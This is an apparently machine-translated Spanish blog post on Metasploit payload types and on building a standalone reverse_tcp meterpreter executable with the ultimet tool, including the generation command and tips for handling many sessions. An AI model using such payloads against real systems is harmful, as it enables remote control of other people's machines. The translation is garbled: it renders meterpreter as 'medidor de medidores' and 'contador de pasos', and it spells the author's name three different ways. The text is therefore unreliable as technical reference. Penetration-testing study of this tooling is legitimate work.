Metasploit tiene múltiples cargas útiles divididas en single, stager y stage. La carga útil única está todo encapsulado en un ejecutable y no requiere descargas adicionales. Por ejemplo, payload / windows / shell_reverse_tcp es una carga útil única que se puede usar como un ejecutable independiente.
Por defecto, la carga útil de meterpreter es una carga útil por etapas. Si lo genera a través de msfconsole / msfpayload / msfvenom, entonces se genera la primera etapa y, cuando se ejecuta, descarga el metsrv.dll de la segunda etapa desde el controlador. Sin embargo, existe una carga útil independiente para el medidor de medidores fuera del árbol oficial de Metasploit creado por Sherif Eldeeb. Puede descargarlo del repositorio de github de Sherif Eldeep .
Desde el repositorio github, descargue el archivo ultimet.zip y genere el ejecutable independiente como:
ultimet.exe -h <LHOST> -p <LPORT> -t "reverse_tcp" --msfpayload
-t es el transporte que eliges. También puede realizar otros transportes, como http / s inverso / vincular. El comando anterior creará un nuevo ejecutable en el directorio con el nombre REVERSE_TCP__LPORT.exe. Este es un ejecutor de medidor de prueba autónomo donde la segunda etapa metsrv.dll está encapsulada en el mismo ejecutable. Sin embargo, tenga en cuenta que el transporte reverse_https tiene actualmente un error en el que la conexión se bloquea cada vez que se conecta al controlador. reverse_tcp es muy confiable.
Use la opción false de ExitOnSession en msfconsole y puede manejar tantas sesiones como desee. Además, me he dado cuenta de que las conexiones múltiples pueden manejarse de manera más eficiente a través de Armitage más fácilmente, pero es solo una cuestión de preferencia. msfconsole también es muy bueno en el manejo de múltiples conexiones, donde puede automatizar muchas tareas posteriores a la explotación utilizando scripts de recursos.
Actualización: a partir de la solicitud de extracción 4925 , el contador de pasos sin etapas ahora forma parte de la distribución oficial de Metasploit. Esto no es una integración del trabajo de Sharif sino una reescritura completa de OJ Reeves.